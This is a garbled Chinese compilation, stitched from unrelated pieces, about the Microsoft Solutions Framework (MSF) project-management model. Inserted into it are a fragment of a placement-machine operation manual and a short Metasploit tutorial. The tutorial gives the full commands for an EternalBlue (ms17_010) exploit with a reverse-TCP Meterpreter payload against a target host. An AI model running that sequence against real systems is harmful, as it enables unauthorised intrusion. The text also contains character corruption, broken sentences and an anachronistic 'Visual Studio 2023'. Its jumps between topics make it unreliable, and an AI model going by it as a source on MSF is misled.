微软实训MSF流程讲解
微软MSF过程模型
微软MSF过程模型微软MSF（Microsoft Solutions Framework）是微软公司开发的一种流程模型，旨在提供一种灵活性和可扩展性强的方法来管理软件和IT项目的全生命周期。
MSF过程模型结合了敏捷方法和传统的瀑布模型，强调项目管理和风险管理，并将团队的活动划分为一系列的阶段和活动。
下面将详细介绍MSF过程模型。
MSF过程模型包括四个核心原则：压缩风险、增强可信性、提高效率和促进沟通。
这些原则有助于建立一个团队和项目成功的环境。
首先是MSF的项目生命周期，它由六个阶段组成：启动、定义、计划、构建、部署和稳定。
每个阶段都有明确定义的目标和交付物，以确保项目的顺利进行和成功交付。
启动阶段是项目启动的阶段，旨在了解需求、定义范围和目标，并确定项目的计划和团队组成。
该阶段的关键交付物包括项目开发计划和启动报告。
定义阶段是详细定义项目需求和解决方案的阶段。
在这个阶段，团队将收集、分析和明确需求，并定义项目的范围和目标。
关键交付物包括需求文档和解决方案设计。
计划阶段是为项目制定详细计划和资源安排的阶段。
在这个阶段，团队将制定项目的工作计划、里程碑和资源分配，并进行项目进度和风险管理。
关键交付物包括计划文档和风险管理计划。
构建阶段是实施项目的阶段，包括软件开发、测试和集成。
在这个阶段，团队将根据需求文档和解决方案设计进行软件开发和测试，并将组件集成到解决方案中。
关键交付物包括软件代码和测试报告。
部署阶段是将解决方案交付给用户的阶段。
在这个阶段，团队将安装、配置和测试解决方案，并进行用户培训和支持。
关键交付物包括部署文档和用户培训材料。
稳定阶段是为解决方案提供持续支持的阶段。
在这个阶段，团队将监控和维护解决方案，并处理用户的反馈和问题。
关键交付物包括用户支持文档和问题解决报告。
除了项目生命周期，MSF还强调了项目管理和风险管理。
项目经理在MSF模型中扮演着重要的角色，负责协调项目团队、制定计划和管理项目进度。
微软MSF过程模型
微软M S F过程模型Newly compiled on November 23, 2020MSF 过程模型u 什么是过程模型过程模型建立了工程中各种活动的顺序，从这方面看，它体现了一个工程项目中整个生命周期。
当前各种工程项目中都有各自的过程。
MSF过程模型起始于微软开发软件应用程序的过程。
它经过演化，与一些其他流行的过程模型中最为有效的原理相结合，形成一个模型。
MSF过程模型可以跨越所有的工程类型，例如基于阶段类型的、里程碑驱动的、基于迭代模型等类型的工程。
MSF过程模型可以应用到传统的软件开发环境中，但同样的，它也可以适用于电子商务、分布式WEB等企业解决方案的开发和部署中。
u 瀑布模型这种模型使用里程碑作为整个过程管理中的转换或评估点。
在瀑布模型中，每一个任务在下一个任务开始前，必须完成。
也就是说必须将当前阶段的任务完成后，才可以进行下一阶段的任务。
瀑布模型虽然是一种比较“老”的过程模型，但它也有它的适用场景。
瀑布过程模型对于那种在一开始就能非常清楚地描绘出项目的需求，并且需求不会发生变化的项目中是最为适合的过程模型。
这种模型中，每个阶段之间固定的转换点可以促进计划的跟踪和责任的分配。
由此看来，并不是模型越新、越精巧越好。
每一种过程模型都有它的优点和适用的项目场景。
因此在选择或决策项目的过程管理模型时，必须充分认识到这一点，适合的才是最好的。
否则很容易判断失误，造成项目的失败。
u 螺旋模型螺旋模型的焦点集中在需要对项目需求进行持续不断的精练和对项目连续不断的评估上。
螺旋模型是一种非常简单的过程模型，它没有所谓的里程碑，它就是对软件按周期不断地重复构建。
螺旋模型对很小的项目进行快速软件开发时非常有效。
这个模型激励开发团队和用户之间的协同合作，因为用户提供对项目的所有阶段的反馈和认可。
由于螺旋过程模型没有包含明确的过程检查点，因此它的开发过程可能非常混乱。
但对于小型的、简单的项目来说，这个问题不大，这也是这个模型适用于小型项目的原因之一。
MSF培训教材
4 5
1.
用副控制盘来控制各轴移动,
X/Y,θ,H,TW,TY和TZ.
移动传输轨道的宽度.
2.
3.
4. 将头部移到中间位置
机器各轴回原点
在主控制盘上输入数值来控 制各轴动, X/Y,θ,H,TW,TY 和TZ. 移动传输轨道的宽度.
PCB板的传输. 将轨道移到传板位
将头和道轨移到中间位置
自动轨宽调整
眼睛勿直视使用镭射光的 传感器的光源。机器自动 进 行 CALIBRATION 时 应 把机器前后部位的保护盖 关上。
二. 机器的基本构造:
Nozzle Station
Y Axis
原点位 （Head的停留位）
原点位 （Head的停留位）
Z192 ~ Z145 Z144 ~ Z97
10Head Stage2
三. 主，副控制盘的介绍:
1. 主控制盘
START
操作按键
FRONT STOP RESET LSTOP OPERATION
前部有效 指示灯
生产结束
清除
操作按键
同1Block动作
开始
软盘驱 动器
显示区域
键盘 外接键盘和鼠标
的PS/2接口
2. 电源控制开关
伺服马达 开关
主CPU开 关
设备工作 开始开关
MSF操作培训资料
一. 机器的安全教育：
机器操作原则上由一人执 行。若由两人以上执行时， 必须打出手势通报后再动 作。
操作时，手部、脸部勿靠 近机械运转部位。此外， 打开前方、后方的安全保 护盖进行调整切换时，需 要特别注意安全。
机器在排除故障时，伺服 电机的开关应置[OFF]。
伺服电机开关由[OFF]切换 到 [ ON] 时 ， 各 轴 会 以 高 速 回归原始位置。请确认各 轴动作及周围安全之后， 再 切 入 [ ON]。（MSR 除 外 ）
微软实训MSF流程讲解
MSF基础原理
• MSF 的核心有八个基础原理：
1. 2. 3. 4. 5. 6. 7. 推劢开放式沟通 为共同的前景而工作 赋予小组成员权力 建立清晰的责仸和共同的职责 关注交付业务价值 保持灵巧，预测变化 质量投资 学习所有的绊验
MSF 的模型和准则
MSF 模型
• MSF 小组模型
• MSF 小组模型定义了小组同级 成员的一些角色和职责
实训中可以学到的
身仹的改变 自我学习 自我管理
面对失败
学会团队合作
实训方式安排
一、团队开发，荣辱不共 二、基于CMMI 的MSF模型 三、企业化要求，角色分配 四、没有老师 五、项目最终可能失败
实训项目简介
• 详见 : • 2013年 微软综合应用开发技术培训方案
（华中科技大学）.doc
微软MSF解决方案框架 简介
• 交付成果
• • • • a)试运行评审 b)可发布版本 c)测试和缺陷报告 d)项目文档
MSF过程模型——部署阶段成果
• 目标：把解决方案实施到生产环境之中
• 团队的工作重点
• a)促进解决方案从项目团队到运营团队的顺利过渡 • b)确保客户认可项目完成
• 交付成果
• a)运营及支持信息系统 • b)所有版本的文档、装载设置、 配置、脚本和代码 • c)项目收尾报告
• 主里程碑是项目阶段的转换点。MSF中主里程碑有“远景/范围认可”、 “项目计划认可”、“范围完成”、“发布就绪认可”、“部署成 功”。 • 中间里程碑是指两个主里程碑之间的小的工作目标指示物戒工作成果。
MSF 过程模型的阶段和里程碑
迭代的方法
MSF过程模型——构思阶段成果
• 目标：创建一个关于项目的目标、限定条件和解决方案的架构 • 团队的工作重点：
微软MSF过程模型
微软MSF过程模型微软解决方案框架（Microsoft Solutions Framework，简称MSF）是一种灵活的、可定制的过程模型，旨在帮助组织和团队可以专注于软件开发和IT项目交付的目标。
MSF采用一种敏捷的方法，结合了最佳实践和经验教训，为团队提供了一种全面的项目管理和开发方法。
MSF过程模型包含四个关键维度：流程、团队模型、角色和责任以及工作产品和指导。
以下是MSF过程模型的一些关键特征：1.流程：MSF流程采用了迭代和增量的方法，以灵活地适应需求的变化。
它强调定义清晰的目标和交付物，并引导团队按计划有序地完成工作。
2.团队模型：MSF团队模型强调跨职能团队合作和沟通。
它鼓励团队成员在项目的不同阶段承担不同的角色，并推崇自主决策和团队责任。
3.角色和责任：MSF定义了一系列关键角色和责任，包括项目经理、开发人员、测试人员、架构师和业务代表等。
每个角色都有清晰的工作职责，以确保项目的成功交付。
4.工作产品和指导：MSF提供了一系列工作产品和指导，帮助团队在项目中有效地推进工作。
这些工作产品包括需求文档、设计文档、测试计划等，可以根据项目的需要进行定制。
MSF过程模型可以应用于各种类型的项目，从小型的软件开发项目到大型的IT系统实施项目。
它可以根据项目的规模和复杂度进行定制，并且可以与其他方法论（如敏捷开发、瀑布模型等）结合使用。
MSF过程模型的优点包括：1.灵活性：MSF过程模型非常灵活，可以根据项目的具体需求进行调整和定制。
它不会给项目施加过多的约束，使得团队可以依据项目的特点做出适当的决策。
2.沟通和协作：MSF过程模型强调团队内部和团队与利益相关者之间的沟通和协作。
它提供了一系列的会议和文档模板，以促进沟通和合作，确保项目的成功交付。
3.最佳实践：MSF集成了许多最佳实践，为项目提供全面的指导和支持。
这些最佳实践包括需求管理、风险管理、变更管理等，帮助团队在项目中遵循一致的方法。
项目管理利刃之MSF
MSF, Microsoft Solution Framework, 微软处理方案框架是一种在预算范围内按期创立MSF框架于1994年被初次提出, 最初被提出来是由于微软顾问征询部门为了微软企业旳一种产品开发项目提供项目管理征询服务而产生旳一套理论。
从那时起, MSF开始逐渐发展, 这来自微软企业旳产品组、微软服务中心、微软企业旳内部操作和技术组(OTG)、微软企业合作伙伴和客户那里成功旳和实践旳最佳做法。
MSF是基于一整套成熟旳软件管理措施论, 并融合了微软企业在IT行业内超过25年旳项目周期管理经验。
MSF框架中提供旳措施论被设计协助Microsoft旳顾问、合作伙伴和客户来处理技术生命周期过程中碰到重大挑战。
MSF使用这套通过内部和外部检查旳真实最佳做法, 并对这些其中部分措施进行简化、整顿和检查, 使得MSF具有更广泛旳通用性, 以便更多旳合作伙伴和客户理解和采用。
MSF 由Microsoft里一种专门旳产品小组在管理和开发, 它同步还得到了国际顾问理事会该方面专家旳指导和评论。
MSF目前还在继续吸取微软企业目前旳经验。
同步微软企业在其公布旳开发平台Visual Studio 2023中提供了实现MSF旳基础工具支持, Visual Studio 2023已经不仅仅是一种开发旳平台, 更是强大一种软件项目团体管理和软件生命周期管理旳工具。
MSF旳关键有八个基础原理, 本文中将对几种和团体管理结合比较紧密旳原理进行分析。
推进开放式沟通在某些项目开发过程中常常会碰到这样旳问题, 项目开发周期较短工作量却很大, 开发人员开发出来旳软件和最终顾客旳需求在功能上吻合度很高, 不过最终顾客却觉得这个不是他们想要旳软件。
实际上这是交流与沟通旳问题, 项目旳开发人员在时间紧迫旳状况下, 往往是只看到眼前旳工作, 而忽视了与团体组员及最终顾客旳沟通, 成果就是从功能上完毕了工作, 不过软件产品或处理方案旳易用性大打折扣, 导致最终顾客觉得最终提交物与他们旳预期相距甚远。
SDM211课程标题微软解决方案架构(MSF)-MicrosoftDownloadCenter
• MSF官方网站
/vstudio/teamsystem/msf
• 我的MSDN博客
/jeffwang/
• 团队系统MSDN博客
/vstudio/teamsystem/community/blogs
• 团队系统论坛
/MSDN/default.aspx?ForumGroupID=5&Si teID=1
也可能源于这个80年代的电影
重叠的活动轨迹
“阶段”改称 为“轨迹”
Deploy 部署 Stabilize 稳定 Develop 开发 Plan 计划
Envision 构思
时间
方案完成程度
风险降低程度 知识和经验
持续的完善过程
时间
多版本重叠
功能
版本3
版本2
版本1
时间 版本 版本
版本
3
2
1
时间
敏捷模式: 检测点控制轨迹
循环
CMMI模式: 流程对应于循环
项目的进展与活动
循环 Iteration 每日建造 Daily build 项目 Project
签入 Check in
被认可的建造 Accepted build
应用模版创建项目 输入项目要求 查询工作条目 生成项目进展报告
• 团队系统官方网站
/vstudio/teamsystem/default.aspx
项目
1. 目标已审核 （我们能否达到最 基本的功能要求?） 2. 进度已核算 （我们是否取得应有 的进展，能在最后期限内完成？） 3. 测试的限度已评估 （我们是 否保持一个适度的质量?） 4. 风险已确认，并有应急预案 （我 们是否在应对项目和技术的风险？） 5. 部署已准备就绪 （我们的解决方 案是否已准备就绪，可以部署？）
lja第5章MSF基础模型
在小组中扮演用户代言人 管理用户需求定义 设计和开发绩效支持系统 驱动使用性和绩效提高的折中决策 提供帮助功能特性和文件的规格说明 开发和提供用户培训 扮演运营、支持和交付渠道的代言人 管理采购 管理产品部署 驱动可管理性和可支持性的折中决策 管理运营、支持和交付渠道关系 向项目组提供项目小组后勤支持
第5章 MSF基础模型
1
课程介绍
课程简介
本章介绍了MSF的小组模型和过程模型
MSF小组模型描述了微软为了获得项目成功，构建 人员和活动的方法。本章介绍了MSF小组模型的目 标、原则、角色簇、关键概念等。 对于MSF过程模型，本章介绍了概念、特点和原则 等。
课程目的
通过学习，理解MSF小组模型和过程模型的概 念，原则等。掌握在实际应用中的特点
5.1.2 MSF小组模型角色簇
角色簇 目标 测试 只有在标识和 解决了 所有的产品质 量问题 后批准发布 用户 提高用户使用 体验 解决方 案时的效率
功能领域
测试计划 测试工程 测试报告 确保知道所有的问题 开发测试策略和计划 实施测试
职责
可访问性 国际化 技术通信 培训 可用性 用户界面设计
28
！
5.1.6 角色的职能
2.程序管理角色簇
项目管理的主要功能领域有： • 跟踪和管理预算； • 管理项目主进度表； 解决方案体系结构的主要功能 • 驱动风险管理过程 领域包括： • 促进小组内部的沟通和协商； • 过程保证的主要功能领域包 驱动整体解决方案设计； 目标：按项目约束交付解决方案 • 跟踪进展和管理项目状态报告 • 括： 管理功能规格说明 • 管理资源分配 功能域 • • 管理解决方案范围和关键折 驱动过程质量保证； 管理服务的主要功能领域有： 中决策 • 定义和推荐过程改进 项目管理 • 实现项目管理过程，支持小 组领导 解决方案体系结构 • 提供一组管理服务，以支持 过程管理 小组高效工作
微软解决方案框架结构
微软解决方案框架结构疯狂代码 / ĵ:http://Programing/Article59986.html 微软解决方案框架结构(MSF)是组建立、开发和实现分布式企业系统应用工作模型、开发准则和应用指南它帮助企业融合商业和技术目标降低采用新技术后系统整体费用以及成功应用微软技术整合商业过程思路方法 MSF揭示出为成功设计、构建和管理技术基础结构或商业解决方案所需了解重要风险、重要设计基础假设和关键依赖关系它包括明确知识库、应用指南和实战经验如: 企业结构设计方案—采用交互方式侧重于制定长期规划同时也能完成短期目标 项目开发准则—包含组队模型和过程模型用于建立高效项目组管理项目生命周期 项目设计过程和多层结构应用模型—用于支持设计复杂分布式企业应用 企业信息基础设施实施思路方法—使用组队模型和过程模型支持实现、操作和技术上方案 、概述 MSF是个经验知识库它包括以下方面内容: 企业结构设计方案—采用交互方式侧重于制定长期规划同时也能完成短期目标 项目开发准则—包含组队模型和过程模型用于建立高效项目组管理项目生命周期 项目设计过程和多层结构应用模型—用于支持设计复杂分布式企业应用 企业信息基础设施实施思路方法—使用组队模型和过程模型支持实现、操作和技术上方案 它是种框架结构 框架结构重点解决个基本问题:它提供解决总体问题和作出有效决策轮廓 框架结构可以增强分析和开发大型项目能力MSF 能够确定项目最大风险在何处强调制定计划和确定进度确保成功发布个产品所必备条件 MSF基于组工作模型这组模型是由微软公司及其合作伙伴在和客户成功开发分布式计算和客户服务器应用经验得来 框架结构不是种预先决定工作结构、工作任务和发布产品具体思路方法思路方法论而是提供了灵活方式、应用有创造力思路方法去解决实际存在问题思想 象任何明确定义工作模型样MSF积累了 3个关键成功原因: 种帮助提供技术决策指南观点 组反复跟踪、监控和管理项目及其进展参考思路方法 致重用性保证在灵活计算环境中有效利用已有知识和技能 个资源集合 MSF收集了组集成资源和准则来指导项目组走向成功它包括明确概念、详细工作指南和微软最好实战经验保证您能立即开始工作 这些资料可由以下途径得到: 联机资料 CD-ROM知识库 教学课程 完整参考手册 CD光盘中内容是由HTML文档组成所以要使用Microsoft Internet Explorer阅读这些资料此外CD光盘中还有更详尽指南讨论在参考手册中提出概念 您如何得到它 MSF在世界范围内由微软顾问咨询部及微软认证培训中心提供培训 它在不断发展 MSF是个框架结构它不是成不变相反MSF会随我们从微软客户和合作伙伴那里学习而不断发展和完善新思想和准则会不断地被引进MSF这些发展将适应技术更新、商业需求变化并支持构建更好软件Software解决方案 技术上变化会导致MSF作出相应变化我们会不断地在参考资料上增加更多指南、介绍和更新概念根据当前思维增进我们教学课程例如:我们认识到Internet强大生命力和影响力我们就在我们资料上很快作了针对Internet更新, 补充介绍我们概念如何应用于开发基于Internet/Intranet基础和结构应用 MSF将个项目中区别阶段工作人员分为 6个角色,通过这 6个角色,项目可以得以迅速、完善地实施这也体现了项目开发 6个重要质量指标,它们在全球是致这 6个角色分别是: 产品经理他了解用户特征,尤其是商业特征,明确用户需求以及需求期望值的所以强户需求期望值,是用户商业化特征比较强,需求无尽,无法界定到底如何才算需求得到了满足而确定了需求期望值后,用户商业目就非常明确,实施起来也比较顺畅 管理员他负责制定计划,每天找出完成该计划风险所在,排除风险,每天交付应该完成内容,确保计划按质、按量实施 用户教育设计友好用户界面,对用户进行培训,确保用户能够并且愿意和喜欢使用开发出产品 开发开发者在开发前期就参和用户需求分析和项目计划制定,他最清楚具体开发过程在开发期开始后,他负责进行代码开发,在每个阶段,交付每项内容代码 测试负责开发出代码测试测试者并不是要找到每个开发者每段代码每个(bug),而是要找到代码的间关系,解决最根本,掌握状态,从而迅速排除 后勤后勤人员负责将实验室产品商品化,变成实际可以运行产品,达到最初制定商业目,取得商业效益这项工作在以往项目中可能比较简单,实验室环境可能和实际环境几乎致或差别不大而现在却区别了,实验室环境可能十分简单,而实际环境可能非常复杂,比如分布式环境、Internet/Intranet环境等,尤其是大企业,实际环境比实验室环境复杂得多,因而将实验室产品运用到实际环境中是项非常重要工作这项工作没有完成好,往往使整个项目前功尽弃,功亏篑 2、MSF简史 1994年基于微软产品开发经验和教训以及微软微软咨询服务业务经验微软推出了Microsoft? 解决方案框架Microsoft Solution Framework (MSF)当时MSF只是这些经验教训松散集合在以后几年中MSF 进步吸收了微软各个部门和微软合作伙伴在实际项目中经验在2002年随着Visual 发布微软发布了系列有关MSF 3.0白皮书针对MSF 3.0 大规模培训也在中国开始 2006年MSF 4.0 随着Visual Studio Team Foundation 2005 发布它增加了不少敏捷开发内容并且明确刻画了团队(Team)典型流程和在新团队(Team)协作软件Software包VSTS 中应用 我们可以不用管MSF 演化细节要记住所有模式都不是成不变关键是要掌握变化原因 3、MSF基本原则 MSF核心有 8个基本原则: 推动开放沟通 为共同前景而工作 充分授权和信任 各司其职对项目共同负责 重视商业价值 保持敏捷预期变化 质量投资 学习所有经验 4、MSF些特点 MSF是微软在整理总结自身多年项目管理(project management)经验基础上提出套项目管理(project management)界方案主要特点是实用性和可操作性强有许多方面值得我们借鉴现对其要点作描述需要注意是微软有国内企业不能比拟优势:如人力资源优势等所以并不定完全适合国内软件Software行业但我们可以发现他们很多做法是我们已经意识到并有所改进有些做法我们可能已经体会到但还没有有上升到个管理原则高度 1、Code Review 原则 是指员定期向其他人讲解自己源活动这个思路方法被众多公司采用并被认为是个行的有效思路方法主要优点有: 要向大家讲解自己员会更重视自己工作进度、代码质量 可以互相学习共同提高及时发现问题 员可掌握他人设计思想和思路方法利于维护他人 2、版本管理思路方法采用统版本管理服务器管理项目源每个人必须经另外个员检查后才能Check in 每天晚上都有build所有如果build不能通过员必须立即修改自己每隔段时间配合进度里程碑release个内部版本主要优点: 从开始就是个整体而不是到最后才整合在起 互相检查才能Check in可以减少发生 里程碑设定对大项目管理尤其有益既不会计划时间较长而有松懈也能做到有张有弛 3、文档管理MSF文档崇尚实用简洁尽量避免事后没人看得文档资料积累和经验继承通过加强员交流来解决(如Code Review, Check in 前互相检查)微软认为个项目存在是和项目组存在相关联如果项目组整个离开了团队(Team)那么有再多文档也没用在区别开发阶段微软也有区别文档要求但应该注意到微软开大是办事系统软件Software和般应用软件Software开发相比会有所区别 4、人员招聘培训人员招聘首先注重人格原因其次是技术原因人员培训最有效最方便手段是利用网络以多媒体、电子文档方式提供 5、项目角色组成:管理、产品管理、开发、测试、部署、用户培训但微软并不是每个项目都配全了这些角色尤其是小项目角色会有重叠强调最好由用户来充当产品管理角色 6、项目测试人员和开发人员比例为1:1,微软通常是2:1微软通常会雇用大量学生等临时人员来进行开发和测试 7、强调进行风险管理对项目风险进行确认并全程跟踪 8、项目开发过程进行里程碑建立和管理 9、项目整理总结制度每个项目完成后对其失败和成功地方进行整理总结 5、为什么应用MSF? 商业问题 商业策划者在面对世界上不断变化复杂技术时必须确定自身企业总体技术策略方向最大挑战来自于保证商业目标和技术目标间致 当前信息技术投资较以往越来越高投资以不仅仅局限在数据中心方面更多倾向于分布式网络增值、群组工作软件Software和提高使用者生产力保证信息技术投资得到有效控制 即便完全不考虑这些投资使用技术给商业带来负向费用影响也是不容质疑所以新技术成功实现将给企业带来重要机会: 今天分布式组件技术允许更大弹性包括集成区别协议、应用接口、应用、操作系统和硬件 今天技术也通过消息传递、事务处理协调、复制、数据仓库、多层结构设计和鲁棒性客户机/服务器开发工具包提供对商业处理过程和活动支持 基于组件技术提供了种在商业方案中集成组件行业最好产品能力组件同样也允许随企业结构和商业处理过程变化更快地重新配置应用系统 今天技术能够在不瓦解企业基础结构设施情况下不断适应发展变化中商业需求多层结构应用允许分离用户、事务和数据服务保证新版本组件在不影响整个系统情况下加以实现 降低费用 客户机/服务器技术可以降低系统整体费用但是企业必须重新评估它们基础结构设施和商业运作过程来保证多余费用真正被消除(例如:传统功能转移到更低廉平台旧系统停止使用新商务处理过程最大提供了增值能力等等) 6、MSF如何帮助解决问题? MSF通过 5个基本模型应用帮助企业认识到采用新技术优点这些模型适用于规划、构建和维护整个过程中区别方面问题(参见图1) " alt="微软解决方案框架结构" /> 图 1:MSF强调几个领域 MSF企业总体结构 MSF企业总体结构模型提供了系列指南用于规划企业基础技术设施流程化商业运作过程并鼓励重用性这种模型是描绘构建于用户服务、事务服务和数据服务基础上多层应用开发MSF应用模型基础 " alt="微软解决方案框架结构" /> 图 2:企业总体结构模型 " alt="微软解决方案框架结构" /> 图 3:MSF应用模型 MSF组队模型 MSF组队模型展示了如何组织项目队伍在时间控制和连续不断发展计划要求下有效交付系统解决方案它描述了 6种基本角色(管理、产品管理、开发、测试、系统实现和用户教育) " alt="微软解决方案框架结构" /> 图 4: MSF组队模型 MSF过程模型 MSF过程模型解释了如何基于:范围、进度和资源规划和控制面向结果项目它是基于 4个可见里程碑交互、允许修改过程模型过程模型中“设计”阶段在面向商业解决方案内容结合过程模型、组队模型和应用模型组件方案设计过程(Designing Component Solutions Process)中进行了详细介绍 " alt="微软解决方案框架结构" /> 图 5:MSF过程模型 " alt="微软解决方案框架结构" /> 图 6:组件方案设计过程 7、MSF组成元素 规划 企业总体结构规划 应用 3个基本模型可以帮助整体理解企业企业总体结构规划提供了分析企业组织机构运作和商业应用集成和处理基准 企业总体结构是包含 4个方面框架:事务、应用、信息和技术 这些模型不仅仅描绘了企业总体结构组成部分还通过以上各个方面在集成系统中应用帮助企业有效地实现每个方面企业总体结构规划过程提供、揭示了商业运作标准和所受局限使商业运作过程更易管理、费用更有效 MSF思路方法以“边规划、边设计”为基础这意味着企业总体结构规划过程直伴随着商业需求变化和技术发展连续过程企业总体结构规划使用了MSF些基本原则如:风险控制时间安排、固定产品发布时间、基于活动设计、外部可见里程碑、小组模型、并行结构设计、最大限制、连续方案开发和结果实现对比以往自上而下思路方法现在项目不仅由企业模型所控制它们还将直接受企业总体结构发展影响 构建 方案开发准则--Solutions Development Discipline (SDD) 软件Software开发是种复杂、有创造力过程在较大开发队伍中采用自上而下思路方法将会抑制创造力、有效交流和真正方案开发SDD通过在软件Software开发过程中应用MSF基本模型帮助软件Software组织克服这些障碍 组件方案设计--Designing Component Solutions (DCS) DCS详细解释了MSF过程模型中“设计”阶段内容DCS基于方案设计过程覆盖了为给出满足商业需求功能设计所必需进行设计活动DCS概念帮助理解和融合使用者和商业需求(在项目层次上)它强化应用逻辑结构以达到简化复杂性目标 这种设计过程允许有效地分派各种具备专业技能人以使特定需求得到满足这种技术同样保证在设计过程中维护应用致性整个设计体系使用场景分析描绘概念设计使用对象和服务描绘逻辑设计使用组件描绘物理设计 重用性设计--Designing for Usability (DFU) DFU提供了大量简明概念和实际经验进行以用户为中心基于Windows设计它侧重Windows应用物理设计强户界面和操作衔接等原型技术 维护 基础设施实现和维护 MSF建立起对 3个基本MSF模型中角色、关系和应用致理解解决实现、管理和维护技术基本结构问题 MSF包含IT基础结构实现要求、有效组队模型和过程模型确定了关键项目构成原因和最终交付成果强调致规划和管理模型给系统带来好处和费用降低 8、实施MSF 在项目实施过程中运用MSF,其效果将是显著,它能够将技术变成产品,由产品变成效益;它能够帮助用户少走或不走弯路,从而更快地达到自己商业目标 MSF在微软许多大客户中得以大显身手,比如:瀛海威、中国投资银行、香港跑马场、香港汇丰银行等目前,在全国几个大城市举办MSF巡回讲座,其目 在于帮助更多国内公司领导,尤其是大公司领导,认识MSF这思想和原理,并能够在 实际中运用这思想微软正计划或已经开始和些大客户共同实施MSF架构,如方正、用等张彤川先生笑着对记者说,尽管每位实施MSF项目微软顾问收费比较高,但MSF来效益足可以使这笔费用微不足道 由于我国旧体制往往并不以商业化为主要目标或商业化目不明确,致使现在仍抱有旧体思想企业在进行项目实施时常常陷入死循环比如,当个开发项目即将结束时,由于技发展或业务发展,客户需求有所变化(往往是提高了),和最初签定项目实施协议时区别抱有旧体制思想客户通常是拒绝在项目结束协议上签字,而是要求开发商按照变化了需求继续进行开发但是,当按照变化了需求所进行开发结束时,需求可能又发生了变于是又继续进行开发,如此死循环而MSF却可以解开这死循环当开发项目结束时, 即使需求发生了变化,但仍然可以将已开发出部分变成产品,把该产品投入商业应用,使它生商业效益至于变化了需求,则可以开发出下个版本来满足,甚至不断地开发新版本, 以满足不断变化需求 MSF思想正是要解开这旧体制造成死循环,从而更好地利用投资,帮助客户实现自己业利益这也是微软进行MSF巡回讲座、和大公司共同实施MSF思想主要原因的 张彤川先生告诉记者,微软是个产品提供商和技术提供商,提供平台、产品和技术而真正满足用户实际需求成千上万应用要靠合作伙伴来完成微软提供解决方案架构(Solution Framework),而不提供具体解决方案(Solution)解决方案架构是种准则或规则, 各个领域内合作伙伴按照这准则,以工业化模式制定出具体解决方案所谓工业化模,是指产品几乎只需要装配下即可就像盖房子样,建筑者只需要把满足定标准各各样预制板组装起来,即可建出符合标准房子这种模式可以大大提高代码利用率, 使开发商不必切从头做起,从而提高开发效率而MSF是这切协调准则 可喜是,现在在国内已经有很多MSF应用或MSF思想得到认可例子比如,用友公司是内最著名财务软件Software公司,以往大多是最终使用客户购买用友软件Software,而现在有很多系统集商来购买用友财务软件Software这些集成商在用友软件Software基础上开发出更能满足区别客户千万别需求产品,帮助它们达到自己商业目而用友只需提供财务软件Software核心,让其它集成商在此基础上进行再开发这对用友、集成商和客户都是有利此外,其它领域公司也有类似情形MSF将结出越来越多灿烂果实2009-2-3 3:02:41疯狂代码 /。
msf使用方法(一)
msf使用方法(一)MSF使用介绍Metasploit Framework（简称MSF）是一款用于渗透测试和漏洞利用的开源工具，由多个模块组成，提供了丰富的漏洞利用和渗透测试功能。
安装•步骤一：下载–在官方网站（•步骤二：安装–打开命令行终端，进入安装包所在路径。
–执行以下命令，安装MSF：$ sudo ./msf_install.sh基本命令•启动MSF控制台–在终端中执行以下命令启动MSF控制台：$ msfconsole•扫描目标–在MSF控制台中，使用db_nmap命令扫描目标主机：msf5 > db_nmap -p 1-1000 <目标IP地址>•选择模块–使用use命令选择要使用的模块：msf5 > use <模块名称>•设置选项–使用set命令设置模块的参数值：msf5 > set <选项名称> <参数值>•运行模块–使用exploit命令运行模块并执行攻击：msf5 > exploit常用模块•漏洞扫描模块–使用use auxiliary/scanner命令选择漏洞扫描模块。
•漏洞利用模块–使用use exploit命令选择漏洞利用模块。
•反向Shell模块–使用use payload命令选择反向Shell模块。
渗透测试案例1.扫描目标主机：msf5 > db_nmap -p 1-1000 192.168.1.1002.选择漏洞利用模块：msf5 > use exploit/windows/smb/ms17_010_et ernalblue3.设置目标主机地址和payload：msf5 exploit(windows/smb/ms17_010_eternalb lue) > set RHOSTS 192.168.1.100msf5 exploit(windows/smb/ms17_010_eternalblue) > se t PAYLOAD windows/x64/meterpreter/reverse_tcp4.运行模块并建立反向Shell：msf5 exploit(windows/smb/ms17_010_eternalb lue) > exploit结论本文提供了MSF的安装、基本命令和常用模块的介绍，并举例讲解了一个简单的渗透测试案例。
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• MSF 经过检验的做法。 这是在各种实际条件下被技术项目证明有效的 做法。
• MSF 建议。 这是在模型和规范应用中可选的、但是建议采用的做法和 指导。
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MSF基础原理
MSF 模型
• MSF 小组模型
• MSF 小组模型定义了小组同级 成员的一些角色和职责
• MSF 过程模型
• 正确的生命周期模型能够
• 简化项目，并帮助确保每一个 步骤都会让项目更加接近成功。
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MSF 团队模型
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MSF 团队角色及其职责范围
• 技术本身就可能成为项目失败的因素；但是，它极少是主要原 因。令人意外的是，经验表明：项目成功这一结果更多的与所 涉及的人员以及过程有关，而非技术本身的复杂性。
• MSF 就是设计和构建用来提供框架实现并积极帮助项目走向成 功的
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MSF 关键术语
• 作为一个框架，MSF 包括能够被单独使用或者作为一个集成的 整体使用的多个组件：
• 主里程碑是项目阶段的转换点。MSF中主里程碑有“远景/范围认可”、 “项目计划认可”、“范围完成”、“发布就绪认可”、“部署成 功”。
• 中间里程碑是指两个主里程碑之间的小的工作目标指示物或工作成果。
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MSF 过程模型的阶段和里程碑
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• MSF 的核心有八个基础原理：
1. 推动开放式沟通 2. 为共同的前景而工作 3. 赋予小组成员权力 4. 建立清晰的责任和共同的职责 5. 关注交付业务价值 6. 保持灵巧，预测变化 7. 质量投资 学习所有的经验
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MSF 的模型和准则
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• MSF 基础原理。 这些核心原理是该框架的基础。它们是框架所有元素 所共有的值和标准。
• MSF 模型。 这是项目小组和过程的方案描述或者“思想映射”（小组 模型和过程模型 — 框架的两个主要定义组件）。
• MSF 准则。 使用一套特定方法和术语的做法领域（项目管理、风险管 理和就绪管理 — 框架里其他几个主要的定义组件）。
• 交付成果
• a) 远景/范围文档 • b) 项目结构文档 • c) 初始风险评估文档
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MSF小组模型角色群组成
• 整个团队由六种角色组成，分别为
• 产品管理（Product Management） • 项目管理（Program Management） • 开发人员（Development） • 测试人员（Test） • 用户教育人员（User Education） • 发布管理（Release Management）
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MSF 过程模型
• 过程模型建立了工程中各种活动的顺序，从这方面看，它体现 了一个工程项目中整个生命周期。
• MSF过程模型将瀑布模型 和螺旋模型 的最优秀的原理结合起
